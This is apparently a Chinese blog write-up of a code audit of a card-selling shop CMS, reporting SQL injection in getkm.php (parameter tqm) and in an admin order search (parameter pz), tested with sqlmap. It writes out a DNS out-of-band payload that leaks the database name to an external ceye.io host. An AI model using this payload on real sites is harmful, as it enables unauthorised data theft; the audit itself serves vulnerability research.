記一次髮卡網程式碼審計
阿新 • • 發佈:2020-10-28
## 前言
好胸弟檸楓昨天dd了我一下,這不,叫我一起審計髮卡的cms
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtrMMiauN4kgslYKib6AhBmczz654Ricrn6VvA7GemCY4nBqwHNGP6iaVYYtA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
君無戲言,最近也在整二進位制,當然要跟我的好胸弟一起組隊py一下,不知道我都多久沒審了,吐
咱語文也不是很好,各位看官就將就著看看就好,水文勿噴
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtruyEIkBqj4ibkBSVmM4XaHOiaF29Av0K1L86163KFIAuvYe0ibfvnH5b8A/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
## 0x01. 首頁功能點審計
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtrhIsXJ9yNf1Eg2ZCib7PicuS7ibTU8r4tpicIku7XOlyofKYLzDBsSwN91Q/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
開啟一看,發現不是mvc框架了,那就感覺沒啥好看頭了,對於髮卡網這種功能一般情況下是沒多少功能點讓我getshell的(可能是我太菜,大佬也可以審計一波,交流交流)
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtria2pSry2uQjhUeBiaKd8zmiaJI3BnpWzOlkzVlpRic89S1GHlhbicJzGGicg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
直接進來看一下發現這邊沒啥可以利用的,莫得慌,我們按照功能點來測,先買一下東西,抓個包,看下是神馬
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtribzP2461GlFnWk9RcZsmj5ewrtdHtlvZIBH5zVVP43hWWqGlXv5dhBg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
這邊請求到了ajax.php這個頁面,好傢伙,我們就直接去ajax.php審計一波
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtrahO7zSmyYsUDamMMUz3APqWRiaDmkIF4CStG6MAwWRSayBEfwamibvWg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
咦??這這這,這直接拼接的嗎,把我給整神了,一看到在where後面,完了
寫死了,這沒啥子用呀,拼接了也執行不了啥直接把條件寫死了,我們繼續往下看看
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtr0DextBJYxG0je0GbjtVUibZ4TLkDGe6kzydIkzqUITJiasT293LtCR2Q/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
本以為這邊有愛情,我覺得我又行了,進去_if函式一看喲西,頭大了,我絲毫不慌,咱們隨緣挖洞,就不信全部都過濾了(好吧,關鍵地方就是過濾了)
可能我追求速度,沒那麼認真,然後粗略一看,我們繼續看其他地方有沒有
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtrBNLC8OHXwsL0swdMX071icEOISsTORicemOTwvpSa5GGgYa11GJpkxzw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtrkHsKc29x66Xjn2ibwAVpkN9UStGcHExfibmxMsib1NyCvgLeSLpdSK0uw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
最後發現 C:\Users\86183\Desktop\faka\template\chiji\getkm.php 存在注入
也就是 getkm.php 存在注入,我們直接去看看這個頁面,我們可以看到它這邊是必會執行這下面這條語句,我們就直接在post包中新增 tqm 這個引數就行
template裡面是個模板,然後 模板裡面都存在 getkm.php,也就是說都存在這個注入
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtrdiaYZy5w3IK4ls3q60Z5PXNibicCZmFibYiaX5xQmNQd8DtCFfhT4mqJoCg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtr1FmxTCcn1EsWYkmdnA2vGJB72CUiaROYSsyYHnZMRRq4VzrFHcKXcBQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
於是扔給了sqlmap跑,但是我發現這邊不準確,不知道為什麼,我本地搭建的也會延遲,等了好久,沒有反應;
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtrLxicnGibZmecaKmE6bibp1LviaxSK09JUDru9Fdibu0ibeHXCpr1K6ZTkDibQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtrSAJIibc5nBicibCrcnVLKJNQbC4QJWg6Lhb8jxiaGXgE90kSW6EbMjDftA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
那就想想其他騷姿勢,沒有 mysql_error() 函式,報錯注入就算了;
腦瓜子一轉,我覺得可以使用 dns帶外進行注入,說淦就淦
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtrKibIb6X7WVfDJ83UplIhJyicGYS8t6PIj5TewZnxmVcuPsYUrVfsTntg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
先去構造一下payload
-
```
tqm=1' and (select load_file(concat('\\\\',(select database()),'.pdkzwo.ceye.io\\aaa')))#
```
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtr9IsjFlrkcGnOgzSxBp8DyNdBojn7ib3xp5QXT9CLcqGbsuviaMHyp5SA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
這就成功的執行了~~
轉眼看看sqlmap
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtrAOFImeuA4cyZW5408tHNww5mJhapN1wca1QDjnohiaq6bib0Mzuzpcjg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
還是就這樣吧......
## 0x02. 後臺功能點
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtribExCh3OxcREvfHLcRicBqf4egcqYvEp5sZ7O67kJtIibHDEgRHOhd6zA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
然後我們就在這個訂單這邊審計,看看能審計出什麼
```php
query($sql);
while($res = $DB->fetch($rs))
{
echo ''.$res['out_trade_no'].'
'.$res['trade_no'].' '
. ''.getName($res['gid'],$DB).' '.$res['rel'].' '
. ''.$res['endTime'].' '.$res['number'].' ¥'.$res['money'].'('.getPayType($res['type']).')'.' '.zt($res['sta']).' ';
}
?>
```
這邊出現intval函式,我們就放棄,然後我們繼續往下看,看到了這一段
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtrJiaTtsb2DPZMlcyibrWDNkUiaPmtrwymswarkcgoSwb98fGpYYpO9vePg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
這.....完全的典型的注入,這邊我們可以看到act傳參sousuo,POST包傳參pz就行了,注入點是在pz的地方
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtrC6zOxo7U5KGHxpHbPyqKcKNELvwcUP7YjQ1uLsdRbkgASFIiaE11DrQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
像我這種指令碼小子,都是扔sqlmap一把梭
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtrEKwIQeyZtmicm07eKclW37Fursb9icPTeR5kjxANIpTX3Ta5JPJnvATw/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
然後就這樣了,這個注入還是比較多的,我沒去審計完;
![img](https://mmbiz.qpic.cn/mmbiz_png/7iaqAAk8CR9DQqITZ76plJCKRmnIByQtrNo46lAbACgoWr4K5AckjPlKnf9qt2EIvXVMyyTTaWWNfVhZyZic1eNQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
本人程式碼審計一般都是功能點審計,這也是我最常用,實戰中也是比較常用的。功能點審計完後可以看看還有沒有其他的漏洞,比如新增管理員的時候沒有校驗cookie等等的邏輯漏洞,然後再敏感函式查詢,比如simplexml_load_string,unserilize,命令執行的函
'.$res['trade_no'].'